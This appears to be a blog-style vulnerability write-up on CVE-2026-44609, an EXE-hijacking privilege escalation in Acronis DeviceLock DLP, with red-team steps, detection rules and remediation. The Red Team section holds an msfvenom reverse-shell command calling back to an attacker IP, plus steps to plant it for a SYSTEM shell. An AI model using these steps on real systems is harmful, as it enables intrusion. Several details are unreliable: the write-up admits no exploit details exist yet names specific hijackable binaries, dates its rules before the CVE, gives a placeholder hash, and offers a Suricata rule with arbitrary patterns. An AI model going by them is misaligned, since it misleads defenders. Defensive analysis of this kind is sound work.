CVE-2026-44609

Executive Summary

CVE-2026-44609 is a local privilege escalation vulnerability affecting Acronis DeviceLock DLP on Windows systems. The flaw stems from an EXE hijacking vulnerability (CWE-427), allowing a low-privileged attacker to execute arbitrary code with elevated privileges. With a CVSS score of 7.3, this vulnerability poses a significant risk to enterprise environments using DeviceLock for data loss prevention. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. The vendor has released a patched build (9.0.15051.93227), but no official advisory or patch notes have been published.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Windows DLP solution from Acronis. Organizations should verify the integrity of the DeviceLock installer and ensure it is obtained from official Acronis channels to avoid supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.3 (HIGH)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs initial low-privileged access.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – System files can be modified.
• Availability Impact: High (A:H) – System can be rendered unusable.

Threat Level: HIGH. While no public exploit exists, the low complexity and high impact make this a priority for patching in environments where DeviceLock is deployed.

Deep Dive & Mechanics

The vulnerability is an EXE hijacking flaw (CWE-427) in Acronis DeviceLock DLP. This occurs when the software attempts to execute a binary (EXE) but does not properly validate the path or the integrity of the executable. An attacker with low privileges can place a malicious executable in a location that the DeviceLock service searches before the legitimate system path. When the service runs, it loads the attacker's binary instead of the intended one, executing arbitrary code with the privileges of the DeviceLock service (typically SYSTEM).

Attack Flow:

1. Attacker gains low-privileged access to a Windows system running vulnerable DeviceLock.
2. Attacker identifies a writable directory that is searched by the DeviceLock service (e.g., the application's install directory or a user-writable path in the system PATH).
3. Attacker places a malicious EXE (e.g., evil.exe) in that directory, named to match a binary the service expects (e.g., helper.exe).
4. When the DeviceLock service starts or performs a specific action, it executes the malicious binary instead of the legitimate one.
5. The malicious code runs with SYSTEM privileges, allowing the attacker to install malware, create accounts, or exfiltrate data.

Vulnerable vs. Patched Code

No specific code snippets are available for this vulnerability. However, the patching likely involves:

• Vulnerable: The DeviceLock service searches for executables in an insecure order or from writable directories without verifying the binary's digital signature.
• Patched: The service now uses absolute paths, verifies digital signatures, or restricts search paths to trusted, non-writable directories.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows system with Acronis DeviceLock DLP build < 9.0.15051.93227.
• Low-privileged user account.

Steps:

1. Identify the DeviceLock service executable path (e.g., C:\Program Files\Acronis\DeviceLock\).
2. Check for writable directories in the service's search path using tools like Process Monitor or AccessChk.
3. Create a malicious executable (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o evil.exe
   

4. Place evil.exe in a writable directory that is searched before the legitimate path (e.g., C:\Users\Public\).
5. Rename evil.exe to match a binary the service loads (e.g., DeviceLockHelper.exe).
6. Trigger the service action (e.g., restart the service or perform a DLP scan).
7. Receive a reverse shell with SYSTEM privileges.

Blue Team

Detection:

• Monitor for unexpected file creation in DeviceLock directories.
• Use Sysmon to log process creation events (Event ID 1) and look for DeviceLock processes spawning unusual child processes.
• Enable Windows Defender Application Control (WDAC) to block unsigned executables in sensitive paths.

Hunting:

• Search for DeviceLock processes loading DLLs or EXEs from user-writable paths.
• Check for file modifications in C:\Program Files\Acronis\DeviceLock\ by non-admin users.

Mitigation:

• Apply the patch immediately.
• Restrict write permissions to DeviceLock directories.
• Use AppLocker or WDAC to allow only signed binaries.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – placeholder)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Process Names: DeviceLockService.exe, DeviceLockHelper.exe (if spawned from unusual path)
• Network Connections: Reverse shells to attacker IPs (e.g., 192.168.1.100:4444)
• Registry Keys: (None specific)
• File Paths: C:\Users\*\evil.exe, C:\ProgramData\*\malicious.exe

Detection Engineering

YARA Rule

rule CVE_2026_44609_EXE_Hijack {
    meta:
        description = "Detects potential EXE hijacking of Acronis DeviceLock DLP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-44609"
    strings:
        $s1 = "DeviceLock" nocase
        $s2 = "helper.exe" nocase
        $s3 = "service.exe" nocase
    condition:
        (uint16(0) == 0x5A4D) and (1 of ($s*)) and filesize < 10MB
}

Sigma Rule

title: CVE-2026-44609 - Acronis DeviceLock EXE Hijacking
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious process creation from DeviceLock service loading executables from non-standard paths
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'DeviceLockService.exe'
        Image|startswith:
            - 'C:\Users\'
            - 'C:\ProgramData\'
            - 'C:\Temp\'
    condition: selection
falsepositives:
    - Legitimate updates or custom scripts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $PORT (msg:"CVE-2026-44609 - Potential DeviceLock EXE Hijack Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|ff ff ff ff|"; within:4; reference:cve,2026-44609; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Acronis DeviceLock DLP build 9.0.15051.93227 or later.
2. Workaround: Restrict write permissions to DeviceLock installation directories and enforce application whitelisting.
3. Monitoring: Enable detailed logging for process creation and file system changes in DeviceLock paths.
4. Long-term: Implement least privilege principles and use tools like AppLocker to prevent unauthorized executables.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert